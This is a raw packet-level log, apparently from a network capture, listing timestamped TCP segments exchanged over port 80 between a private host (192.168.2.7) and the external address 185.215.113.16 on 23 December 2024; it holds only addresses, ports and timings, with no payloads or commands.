Dec 23, 2024 08:44:46.701144934 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.701181889 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.701232910 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.701267004 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.701330900 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.701376915 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.701668978 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.701725006 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.701760054 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.701770067 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.701924086 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.701973915 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.701993942 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.702029943 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.702071905 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.702564955 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.702717066 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.702763081 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.702774048 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.702853918 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.702900887 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.702960968 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.702996969 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.703042984 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.703092098 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.703126907 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.703161001 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.703226089 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.703849077 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.703896999 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.703901052 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.703963041 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.704013109 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.704056025 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.704097033 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.704134941 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.704148054 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.704747915 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.704807043 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.754733086 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.754786968 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.754933119 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.755050898 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.755108118 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.755142927 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.755212069 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.755253077 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.755306005 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.755322933 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.755359888 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.755409956 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.755446911 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.755465984 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.755496979 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.755650997 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.755705118 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.755742073 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.755799055 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.756057978 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.756144047 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.756158113 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.756192923 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.756311893 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.756347895 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.756364107 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.756385088 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.756418943 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.757006884 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.757066011 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.757077932 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.757112026 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.757237911 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.757272005 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.757308006 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.757309914 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.757335901 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.757956028 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.758018970 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.758080006 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.789072990 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.789171934 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.789207935 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.789272070 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.789315939 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.789315939 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.789354086 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.789390087 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.789411068 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.789520025 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.789611101 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.789647102 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.789674044 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.789710045 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.790004015 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.790056944 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.790092945 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.790142059 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.790242910 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.790278912 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.790298939 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.790743113 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.790817022 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.790851116 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.790882111 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.790916920 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.790985107 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.791019917 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.791055918 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.791105032 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.791640997 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.791693926 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.791695118 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.791731119 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.791915894 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.791965961 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.791971922 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.792016029 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.792016983 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.792541027 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.792594910 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.792644978 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.792645931 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.792699099 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.792830944 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.792866945 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.792903900 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.792954922 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.793478966 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.793535948 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.793601990 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.793637991 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.793723106 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.793780088 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.793781996 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.793792963 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.793824911 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.794420958 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.794497967 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.794534922 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.794557095 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.794586897 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.794717073 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.794751883 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.794789076 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.794838905 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.795463085 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.795497894 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.795515060 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.795536041 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.795681953 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.795717001 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.795746088 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.795753002 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.795775890 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.796303034 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.796479940 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.796533108 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.796535969 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.796546936 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.796574116 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.849361897 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.893237114 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.893322945 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.893362999 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.893381119 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.893433094 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.893471956 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.893506050 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.893522024 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.893573046 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.893600941 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.893651962 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.893819094 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.893856049 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.893872976 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.893893957 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.893908978 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.894190073 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.894303083 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.894318104 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.894347906 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.894354105 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.894378901 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.894701004 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.894757032 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.894773006 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.894809961 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.894952059 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.894987106 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.895004988 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.895024061 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.895035982 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.895631075 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.895693064 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.895706892 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.895735979 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.895771027 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.895833015 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.895869970 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.895909071 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.895926952 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.896564007 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.896637917 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.896708965 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.946822882 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.946887970 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.946927071 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.947005033 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.947060108 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.947097063 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.947113037 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.947134972 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.947186947 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.947189093 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.947293997 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.947381973 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.947419882 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.947429895 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.947464943 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.947575092 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.947607994 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.947649956 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.947695017 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.948250055 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.948337078 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.948370934 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.948395014 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.948419094 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.948508024 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.948555946 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.948592901 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.948640108 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.949192047 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.949251890 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.949286938 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.949323893 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.949371099 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.949454069 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.949464083 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.949505091 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.949522018 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.950129986 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.950238943 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.950304031 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.981307983 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.981343031 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.981359005 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.981374979 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.981409073 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.981450081 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.981462955 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.981518030 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.981570959 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.981682062 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.981693983 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.981734991 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.981815100 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.981827974 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.981842995 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.981862068 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.981889009 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.982506037 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.982578993 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.982608080 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.982650995 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.982873917 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.982942104 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.982953072 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.982964993 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.983001947 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.983114958 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.983134985 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.983146906 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.983175039 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.983844042 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.983891964 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.983917952 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.983930111 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.983962059 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.984119892 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.984131098 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.984146118 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.984174967 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.984780073 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.984829903 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.984853983 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.984867096 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.984900951 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.985038042 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.985054970 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.985068083 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.985096931 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.985706091 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.985749960 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.985790968 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.985802889 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.985838890 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.985965014 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.985981941 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.985995054 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.986017942 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.986712933 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.986799955 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.986816883 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.986845016 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.986944914 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.986998081 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.987045050 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.987070084 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.987086058 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.987724066 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.987761974 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.987782001 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.987782001 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.987822056 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.987926960 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.987940073 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.987953901 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.987972975 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.988528013 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.988578081 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.988590002 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:46.988611937 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.988634109 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:46.988679886 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:47.036907911 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:47.085362911 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:47.085412025 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:47.085427046 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:47.085513115 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:47.085592985 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:47.085606098 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:47.085619926 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:47.085648060 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:47.085675001 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:47.085776091 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:47.085803032 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:47.085938931 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:47.085943937 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:47.085980892 CET	49755	80	192.168.2.7	185.215.113.16
